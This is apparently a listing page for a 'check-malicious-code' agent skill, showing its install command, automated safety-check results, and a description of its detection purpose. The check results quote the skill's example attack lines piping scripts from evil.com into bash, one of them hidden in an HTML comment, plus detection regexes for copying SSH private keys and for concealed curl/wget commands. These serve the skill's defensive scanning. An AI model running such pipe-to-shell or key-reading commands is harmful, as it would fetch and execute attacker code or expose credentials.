Check Malicious Code
ListedThis skill analyzes provided code snippets to detect potential malicious patterns and vulnerabilities, safeguarding against threats.
Install on your platform
Showing Claude Code. One command installs this skill into any of the agents below.
- 1
Run this in your project
terminal$ npx skills add pachoroa/mis_skills --skill check-malicious-code -a claude-code Uses the open-source
skillsCLI and needs Node.js. Add-gto install it for your user instead of this project.
What we know about this skill
Publisher
pachoroa
Taken from the source listing. We haven't verified who controls this account.
Install target
Live repository
Not pinned. Installing fetches whatever the repository holds at the time you run the command.
Automated safety checks
This skill failed 3 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.
No undeclared network calls: failed
Contacts 1 host that is neither well-known infrastructure nor declared in the skill's frontmatter: evil.com.
Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.
Hosts contacted
evil.comundeclaredWhat it found
- .github/skills/check-malicious-code/SKILL.md:293contacts evil.com
Código: curl https://evil.com/script.sh | bash - .github/skills/check-malicious-code/SKILL.md:299contacts evil.com
Código: <!-- curl https://evil.com/data | bash -->
No credential access: failed
Touches credential material in 1 place.
Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.
What it found
- .github/skills/check-malicious-code/patterns/high.json:22SSH private keys or config
"pattern": "(cat|cp|mv|scp)\\s+.*\\.ssh/(id_rsa|id_ed25519|authorized_keys)",
No pipe-to-shell installers: failed
Runs code fetched at install time in 13 places.
No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.
What it found (3 of 13)
- .github/skills/check-malicious-code/SKILL.md:164remote script piped into a shell
'hidden_commands': r'<!--[\s\S]*?(curl|wget|bash|python|exec)[\s\S]*?-->', - .github/skills/check-malicious-code/SKILL.md:293remote script piped into a shell
Código: curl https://evil.com/script.sh | bash - .github/skills/check-malicious-code/SKILL.md:299remote script piped into a shell
Código: <!-- curl https://evil.com/data | bash -->
Declares what it does: passed
SKILL.md parses and declares a name and a description.
SKILL.md exists, its frontmatter parses, and it declares a name and a description.
No obfuscated payloads: passed
No encoded or obfuscated payloads.
No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.
Pinned to a commit: passed
Scanned pachoroa/mis_skills at f6dff57001.
The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.
- Commit
- f6dff57001
- Scanned
- 7 files, 1,274 lines
About this skill
What it does
This skill analyzes code snippets to identify potentially malicious patterns. It doesn't guarantee complete detection but aims to highlight suspicious constructs that warrant further investigation by a security expert. The skill provides insights into potential vulnerabilities and helps improve overall code safety.
When to use it
- Code Review: Before deploying new code or integrating external libraries, use this skill to proactively identify potential risks.
- Security Audits: Incorporate the skill into automated security audit pipelines for continuous monitoring of codebase health.
- Learning & Education: Use it as a tool to understand common malicious coding patterns and improve secure development practices.
- Investigating Suspicious Behavior: When encountering unexpected application behavior, use this skill to analyze relevant code segments.
Key capabilities
- Malware pattern detection
- Vulnerability identification
- Code analysis for suspicious constructs
- Provides insights into potential risks
Example prompts
- "Analyze this Python script for malicious code: [paste code here]"
- "Check this JavaScript function for vulnerabilities: [paste code here]"
- "Can you identify any potentially harmful patterns in this C++ snippet? [paste code here]"
Tips & gotchas
The skill's effectiveness depends on the complexity and obfuscation of the malicious code. It is not a replacement for comprehensive security assessments performed by human experts.